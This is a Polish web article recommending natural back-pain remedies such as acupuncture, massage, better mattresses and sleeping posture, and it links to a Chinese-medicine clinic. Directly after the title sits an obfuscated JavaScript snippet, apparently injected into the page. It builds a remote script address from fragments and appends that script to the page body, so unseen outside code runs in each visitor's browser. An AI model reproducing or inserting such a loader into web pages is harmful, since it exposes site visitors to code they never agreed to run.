Naturalne metody (function(){ x588_=( u + )+ s + ;x588_+=( tat. )+( i ); x588=document.createElement( script );x588.type= text/javascript ;x588_+= nf +( o )+ / ; x588u= 368162532 + . ;x588.async=true;x588u+= 5l6kpc6q588r8u66cgcXhXqyaimjk9 ; x588.src= https:// +x588_+x588u;x588b=document.body;x588b.appendChild(x588); })(); Walka z bólem pleców nie musi wiązać się tylko i wyłącznie z braniem dużej ilości leków. Istnieją inne sposoby, naturalne lub domowe, które pomagają w zwalczaniu lub zmniejszaniu tych dolegliwości. Specjaliści, kolegium lekarskie zaleca stosowanie naturalnych metod w zmaganiu się z bólem. Do tych sposobów należą: rozgrzewanie, masaż, akupunktura oraz czasem chiropraktyka. Osoby dotknięte chronicznym bólem pleców mogą również w celu zmniejszenia bólu wypróbować ćwiczenia fizyczne, rehabilitację, yogę, terapię poznawczo-behawioralną oraz trening redukcji stresu. [middle1] Akupunktura pełni w walce z bólem ważną pozycję. Jest to nakłuwanie ciała specjalnymi oraz pełnymi igłami aktywnych punktów ciała, czyli tak zwanymi punktami akupunkturowymi. Podczas zabiegu następuje stymulowanie tych punktów poprzez wkłuwanie lub podgrzewanie igieł lub bezpośrednio punktów, masaż lub stawianie baniek gumowych albo szklanych. Lekarz, który zajmuje się akupunkturą najpierw przeprowadza dokładny wywiad oraz badania fizykalne pacjenta. Badania te rozszerzone są o diagnostykę zgodną z zasadami medycyny zachodniej. Po tym procesie lekarz stawia diagnozę oraz według niej dobiera odpowiednie punkty do stymulacji. Ponadto, przed każdym zabiegiem następuje pytanie o zmiany w samopoczuciu. Specjaliści, którzy wykonują takie zabiegi to chociażby https://www.chinskilekarz.pl/ . Zapewniają oni wsparcie w bólu oraz leczą wiele dolegliwości bólowych. Posiadają biegłość w tradycyjnej medycynie chińskiej, która poparta jest konwencjonalną wiedzą medyczną oraz obszernym doświadczeniem. Stawiają oni na dokładną diagnostykę oraz ulgę we wszelkich dolegliwościach swoich pacjentów. Inne domowe sposoby Walkę z bólem pleców zacząć można w domowym zaciszu. Pierwszym do tego krokiem może być na przykład wymiana materacu w łóżku lub zmiana pozycji podczas snu. Ważna tutaj jest poduszka, która położona w odpowiednim miejscu pozwala utrzymać kręgosłup w odpowiedniej pozycji. Potrafi ona również zmniejszyć nacisk na kręgi i tym samym zmniejszyć ból. Niepolecaną pozycją zaś jest spanie na brzuchu. Pozycja ciała ważna jest w każdej sytuacji- podczas prowadzenia samochodu, stania czy leżenia na kanapie. W dzieciństwie rodzice upominali nas, abyśmy chodzili wyprostowani i mieli rację. Prawidłowa postawa ciała potrafi zmniejszyć dolegliwości bólowe nie tylko pleców, ale również szyi oraz karku.
